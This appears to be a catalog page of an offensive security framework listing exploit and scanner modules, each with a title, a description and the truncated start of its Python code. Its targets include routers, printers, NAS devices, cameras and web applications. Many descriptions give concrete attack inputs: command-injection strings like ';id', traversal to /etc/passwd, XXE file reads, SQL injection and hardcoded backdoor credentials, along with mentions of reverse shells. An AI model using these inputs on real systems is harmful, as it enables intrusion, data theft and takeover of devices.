ipTIME EAD UDP Service Detection (56026)

Detects ipTIME routers exposing the EAD UDP service on port 56026. On affected firmware e.g. A3004T 14.19.0, this endpoint is reachable without authentication and is associated with pre-auth command injection. !/usr/bin/env python3 -- coding: utf-8 -- """Detect ipTIME EAD UDP service port 56026...

Planyo Online Reservation System <= 3.0 - Arbitrary File Read (CVE-2026-3576)

CVE-2026-3576 in Planyo Online Reservation System . !/usr/bin/env python3 -- coding: utf-8 -- """CVE-2026-3576 — Planyo Online Reservation System arbitrary file read via file:// SSRF.""" from future import annotations from urllib.parse import urlencode from kittysploit import from...

Windows Admin Center - Authenticated PowerShell RCE (CVE-2026-26119)

CVE-2026-26119: authenticated RCE via WinREST/PowerShell invokeCommand. Use a reversetcp payload; the framework listener creates the shell session. !/usr/bin/env python3 -- coding: utf-8 -- """CVE-2026-26119 — Windows Admin Center authenticated WinREST/PowerShell RCE.""" from future import...

Blocksy Companion <= 2.1.46 - Unauthenticated File Upload RCE (CVE-2026-58480)

CVE-2026-58480: unauthenticated arbitrary file upload via blc-review-images in blcsavereviewattachments. Double-extension bypass .woff2.php when Advanced Reviews and Custom Fonts are enabled. Fixed in 2.1.47. !/usr/bin/env python3 -- coding: utf-8 -- from future import annotations import json...

mcp-server-kubernetes < 3.9.0 - Argument Injection (CVE-2026-61459)

CVE-2026-61459: argument injection in kubectlget, kubectldescribe, and kubectldelete via resourceType/name parameters. Starts a local fake Kubernetes API callback server, injects --server= into the MCP tool call, captures the bearer token from kubectl, and optionally registers a Kubernetes sessio...

Microsoft Edge V8 Type Confusion RCE (CVE-2026-58289)

CVE-2026-58289 for Edge Chromium before 150.0.4078.48. chainmode=probe injects the public PoC into a browserserver session no listener. chainmode=full runs a research chain: 58289 heap layout → Maglev fake object → addrof/fakeobj → WASM shellcode via self.payload. Full chain needs Edge with...

Orkes Conductor / Conductor OSS < 3.30.2 - Unauthenticated RCE (CVE-2026-58138)

CVE-2026-58138: Conductor OSS and Orkes Conductor versions below 3.30.2 allow unauthenticated remote code execution by registering a workflow with a malicious INLINE JavaScript task that abuses unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec. !/usr/bin/env python3 -- codin...

Orkes Conductor CVE-2026-58138 (unauthenticated RCE) detection

Detects Conductor OSS / Orkes Conductor instances running a version below 3.30.2 that may be vulnerable to CVE-2026-58138 unauthenticated INLINE JavaScript RCE. !/usr/bin/env python3 -- coding: utf-8 -- """Detect Orkes Conductor / Conductor OSS instances vulnerable to CVE-2026-58138.""" from futu...

Metabase reset_password SQLi (GHSA-vwf4-m7j8-wcjf)

Detects Metabase = v0.58.0 before x.58.24 / x.59.21 / x.60.17 / x.61.11 / x.62.9 / x.63.5 affected by GHSA-vwf4-m7j8-wcjf: pre-authentication SQL injection in POST /api/session/resetpassword via HoneySQL raw-map in the user-id JSON key mass parameter pollution. !/usr/bin/env python3 -- coding:...

Metabase reset_password SQLi Admin Takeover (GHSA-vwf4-m7j8-wcjf)

GHSA-vwf4-m7j8-wcjf in Metabase = v0.58.0 before the x.58.24 / x.59.21 / x.60.17 / x.61.11 / x.62.9 / x.63.5 patches: pre-authentication SQL injection in POST /api/session/resetpassword via HoneySQL raw-map in the user-id JSON key. On all backends, injecting a subquery that resolves to the admin...

Sharp MFP Pre-Auth LFI File Read

Reads arbitrary files from Sharp multifunction printers via installedemanualdown.html. Pairs with scanner/http/sharpprinterslfidetect. !/usr/bin/env python3 -- coding: utf-8 -- """Sharp MFP pre-auth local file inclusion — arbitrary file read.""" from kittysploit import from...

JetDirect / PJL Service Detection (port 9100)

Detects network printers exposing raw JetDirect/AppSocket on TCP 9100 and probes the PJL command interface with INFO ID. Optionally checks whether FSUPLOAD path traversal returns /etc/passwd content. !/usr/bin/env python3 -- coding: utf-8 -- """Detect HP JetDirect / AppSocket raw printing and PJL...

Xerox EFI Fiery Webtools LFI File Read

Reads arbitrary files via forceSave.php on Xerox DC260 EFI Fiery Controller Webtools 2.0. !/usr/bin/env python3 -- coding: utf-8 -- """Xerox EFI Fiery Controller Webtools forceSave.php pre-auth LFI file read.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from...

C-Lodop Printer Pre-Auth File Read

Reads arbitrary files from C-Lodop print servers using encoded directory traversal in the HTTP URL. !/usr/bin/env python3 -- coding: utf-8 -- """C-Lodop printer pre-auth arbitrary file read via URL path traversal.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient fro...

HP JetDirect PJL Filesystem Read (port 9100)

Reads files and lists directories on network printers exposing raw JetDirect/AppSocket on TCP 9100 via PJL FSUPLOAD/FSDIRLIST. !/usr/bin/env python3 -- coding: utf-8 -- """HP JetDirect / raw printing port 9100 PJL filesystem read and listing.""" import socket from typing import Optional from...

JetBrains TeamCity Agent Polling RCE (CVE-2026-63077)

Exploits CVE-2026-63077 in JetBrains TeamCity: unauthenticated agent registration followed by XStream deserialization on /app/agents/v1/commands/error. The gadget chain writes a one-shot .jspws terminal under the TeamCity webroot and executes an OS command via Runtime.exec. Success is confirmed b...

PaperCut NG/MF Auth Bypass RCE (CVE-2023-27350)

Exploits CVE-2023-27350 in PaperCut NG/MF before 20.1.7, 21.2.11, and 22.0.9. Unauthenticated access to SetupCompleted grants an admin session, then Rhino print scripting runs self.payload via java.lang.ProcessBuilder. !/usr/bin/env python3 -- coding: utf-8 -- """CVE-2023-27350 — PaperCut NG/MF...

PaperCut Path Traversal File Read (CVE-2023-39143)

Reads files from unpatched PaperCut NG/MF on Windows 22.1.3 via CustomReportExample path traversal. Optional WebDAV COPY stages unreadable paths into data/scan/webdav before download. !/usr/bin/env python3 -- coding: utf-8 -- """CVE-2023-39143 — PaperCut NG/MF Windows path traversal file read."""...

Kyocera M2035dn Pre-Auth LFI File Read

Reads arbitrary files from Kyocera Command Center RX ECOSYS M2035dn printers via /js/ traversal with a .jpg null suffix. !/usr/bin/env python3 -- coding: utf-8 -- """Kyocera Command Center RX ECOSYS M2035dn pre-auth LFI file read.""" from kittysploit import from lib.protocols.http.httpclient impo...

Honeywell PM43 Command Injection (CVE-2023-3710)

Exploits CVE-2023-3710 in Honeywell PM43 industrial printers before firmware P10.19.050004: newline injection in loadfile.lp Configure runs self.payload as the embedded Linux user. !/usr/bin/env python3 -- coding: utf-8 -- """CVE-2023-3710 — Honeywell PM43 printer unauthenticated command...

PineApp Mail-SeCure - test_li_connection.php RCE Detection

Detects PineApp Mail-SeCure RCE via /admin/testliconnection.php?iptest=127.0.0.1;id. !/usr/bin/env python3 -- coding: utf-8 -- """PineApp Mail-SeCure testliconnection.php command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

ManageEngine SDP - FileDownload.jsp Path Traversal Detection

Detects ManageEngine ServiceDesk Plus FileDownload.jsp fName path traversal to /etc/passwd via null-byte truncation. !/usr/bin/env python3 -- coding: utf-8 -- """ManageEngine ServiceDesk Plus FileDownload.jsp path traversal.""" import re from kittysploit import from lib.protocols.http.httpclient...

Zyxel NSA310 - Pure-FTPd Command Injection Detection

Detects Zyxel NSA310 FTP RCE by authenticating with user ' then pass '; id; and matching uid= in the FTP response. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel NSA310 Pure-FTPd username command injection.""" import re import socket from kittysploit import from...

ZYCOO IP Phone - system_cmd.cgi RCE Detection

Detects ZYCOO unauthenticated command injection via /cgi-bin/systemcmd.cgi?cmd='cat /etc/passwd'. !/usr/bin/env python3 -- coding: utf-8 -- """ZYCOO IP Phone System systemcmd.cgi RCE.""" import re from urllib.parse import quote from kittysploit import from lib.protocols.http.httpclient import...

Mundi Mail - mypid Command Injection Detection

Detects Mundi Mail RCE via /admin/status/index.php?action=stop&mypid=;id. !/usr/bin/env python3 -- coding: utf-8 -- """Mundi Mail mypid command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Mun...

Vacron NVR - board.cgi Command Injection (CVE-2025-34043)

Exploits unauthenticated OS command injection via Vacron /board.cgi?cmd=. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Vacron NVR board.cgi RCE CVE-2025-34043 — opens execute session.""" import re from urllib.parse import quote from kittysploit import from...

php-Charts - wizard/url.php RCE Detection

Detects php-Charts = 1.0 RCE via /wizard/url.php?$phpinfo=1. !/usr/bin/env python3 -- coding: utf-8 -- """php-Charts wizard/url.php RCE.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'php-Charts - wizard/url.php RCE...

EasyIO - bacnet.php RCE Detection

Detects EasyIO command injection via /sdcard/cpt/scripts/bacnet.php timeout=0%26cat%20/etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """EasyIO bacnet.php command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

PHP File Manager - Backdoor Login Detection

Detects PHP File Manager backdoor account DONOTREMOVETHISENTRY / travan44 via multipart login. !/usr/bin/env python3 -- coding: utf-8 -- """PHP File Manager hardcoded backdoor credentials.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

Beward IP Camera - servetest NTP Command Injection (CVE-2025-34042)

Exploits Beward camera command injection in ServerName of /cgi-bin/operator/servetest?cmd=ntp. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Beward IP camera servetest NTP RCE — opens execute session.""" import re from urllib.parse import quote from kittysploi...

Ruckus Unleashed - rpmkey Credential Disclosure Detection

Detects Ruckus Unleashed credential disclosure by reading /user/wpstoolcache/var/run/rpmkey.rev then /user/wpstoolcache/var/run/rpmkey and looking for allpowerfulloginpassword. !/usr/bin/env python3 -- coding: utf-8 -- """Ruckus Unleashed rpmkey credential disclosure CVE-2019-19837...""" import r...

EditWrxLite - wrx.cgi RCE Detection

Detects EditWrxLite RCE via /wrx.cgi?download=;id|. !/usr/bin/env python3 -- coding: utf-8 -- """EditWrxLite wrx.cgi command injection.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'EditWrxLite - wrx.cgi...

nostromo nhttpd - Directory Traversal File Read (CVE-2011-0751)

Reads arbitrary files via CVE-2011-0751 /..%2f traversal. !/usr/bin/env python3 -- coding: utf-8 -- """Reads arbitrary files via CVE-2011-0751 /.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class ModuleAuxiliary, Httpclien...

mDNS Amplification Attack Vector Detection

Sends a unicast mDNS PTR query for services.dns-sd.udp.local and checks whether the response is more than twice the request size, indicating the service can be abused for UDP amplification / reflection. !/usr/bin/env python3 -- coding: utf-8 -- """Detect mDNS UDP amplification response...

D-Link DSL-2888A - Cookie Auth Bypass Detection (CVE-2020-24579)

Detects D-Link DSL-2888A session elevation by fetching /page/login/loginsucc.html with a random uid cookie, then /index.html with the same cookie and looking for authenticated UI markers. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DSL-2888A cookie privilege escalation / auth bypass...

ESVA - learn-msg.cgi RCE Detection (CVE-2012-10046)

Detects CVE-2012-10046 by requesting /cgi-bin/learn-msg.cgi?id=|id; after fingerprinting released.html. !/usr/bin/env python3 -- coding: utf-8 -- """ESVA learn-msg.cgi command injection CVE-2012-10046.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Barracuda - view_help.cgi Directory Traversal Detection (CVE-2010-20109)

Detects CVE-2010-20109 via viewhelp.cgi?locale=/../../../../mail/snapshot/config.snapshot%00. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2010-20109 via viewhelp.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient...

QNAP QTS/QuTS - Unauth RCE via quick.cgi (CVE-2023-47218)

Exploits unauthenticated command injection in uninitialized QNAP NAS quick.cgi CVE-2023-47218. Uploads a bootstrap script under /mnt/update via multipart filename injection User-Agent Mozilla Macintosh, executes a reverse CMD payload, and waits for a shell session. !/usr/bin/env python3 -- coding...

CasaOS - Unauth Config/Debug Leak (CVE-2025-34171)

Fetches CasaOS /v1/sys/debug and /v1/users/image?path=/var/lib/casaos/1/ without authentication CVE-2025-34171. !/usr/bin/env python3 -- coding: utf-8 -- """CasaOS unauthenticated config/debug leak CVE-2025-34171.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient cla...

Symantec Web Gateway - pbcontrol.php RCE (CVE-2012-2953)

Exploits CVE-2012-2953 command injection in pbcontrol.php filename. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """Symantec Web Gateway pbcontrol.php RCE CVE-2012-2953 — opens execute session.""" import re from urllib.parse import quote from kittysploit import...

Zyxel NAS - setCookie Command Injection Detection (CVE-2024-29973)

Detects Zyxel NAS command injection via multipart POST to /cmd,/simZysh/registermain/setCookie CVE-2024-29973 and related Jun 2024 issues. !/usr/bin/env python3 -- coding: utf-8 -- """Zyxel NAS setCookie command injection CVE-2024-29973 family.""" import re import secrets from kittysploit import...

Apache Tomcat AJP - Ghostcat Detection (CVE-2020-1938)

Detects CVE-2020-1938 Ghostcat by sending a crafted AJP13 FORWARDREQUEST that includes /WEB-INF/web.xml via javax.servlet.include.servletpath. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Tomcat AJP Ghostcat file read / include CVE-2020-1938.""" import socket import struct from kittysploit...

eXtplorer - password[] Auth Bypass Detection

Detects eXtplorer auth bypass via password= empty array login as admin. !/usr/bin/env python3 -- coding: utf-8 -- """eXtplorer password authentication bypass.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'eXtplorer...

Beward IP Camera - fileread File Read

Reads arbitrary files via /cgi-bin/operator/fileread?READ.filePath=. !/usr/bin/env python3 -- coding: utf-8 -- """Beward IP camera arbitrary file read via fileread.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient from lib.protocols.http.lfi import Lfi class...

SolarWinds Storage Manager - ProcessFileUpload Detection

Detects unauthenticated JSP upload via /images/../jsp/ProcessFileUpload.jsp path traversal auth filter bypass. !/usr/bin/env python3 -- coding: utf-8 -- """SolarWinds Storage Manager ProcessFileUpload.jsp auth bypass upload.""" from kittysploit import from lib.protocols.http.httpclient import...

FIBARO Home Center - liliSetDeviceCommand RCE Detection

Detects unauthenticated command injection in FIBARO /services/liliSetDeviceCommand.php via cmd1 backticks. !/usr/bin/env python3 -- coding: utf-8 -- """FIBARO Home Center liliSetDeviceCommand.php RCE.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

GeoVision GeoHttpServer - Path Traversal Detection

Detects GeoVision GeoHttpServer = 8.3.3.0 path traversal via /.../.../.../.../.../etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """GeoVision GeoHttpServer path traversal.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...

EMC CTA - XXE File Read Detection (CVE-2014-0644)

Detects CVE-2014-0644 by POSTing XXE to /api/login with Password= pointing at file:///etc/passwd. !/usr/bin/env python3 -- coding: utf-8 -- """EMC Cloud Tiering Appliance XXE file read CVE-2014-0644.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

Anti-Web - write.cgi LFI Detection (CVE-2017-9097)

Detects CVE-2017-9097 by POSTing template=../../../../../../etc/passwd to /cgi-bin/write.cgi. !/usr/bin/env python3 -- coding: utf-8 -- """Anti-Web write.cgi template path traversal CVE-2017-9097.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class...

TBK DVR - OS Command Injection Detection (CVE-2024-3721)

TBK DVR devices and rebrands allow unauthenticated OS command injection via /device.rsp?opt=sys&cmd=SOSTREAMAX&mdb=sos&mdc= with Cookie uid=1. !/usr/bin/env python3 -- coding: utf-8 -- """TBK DVR OS command injection via device.rsp CVE-2024-3721.""" import re from urllib.parse import quote from...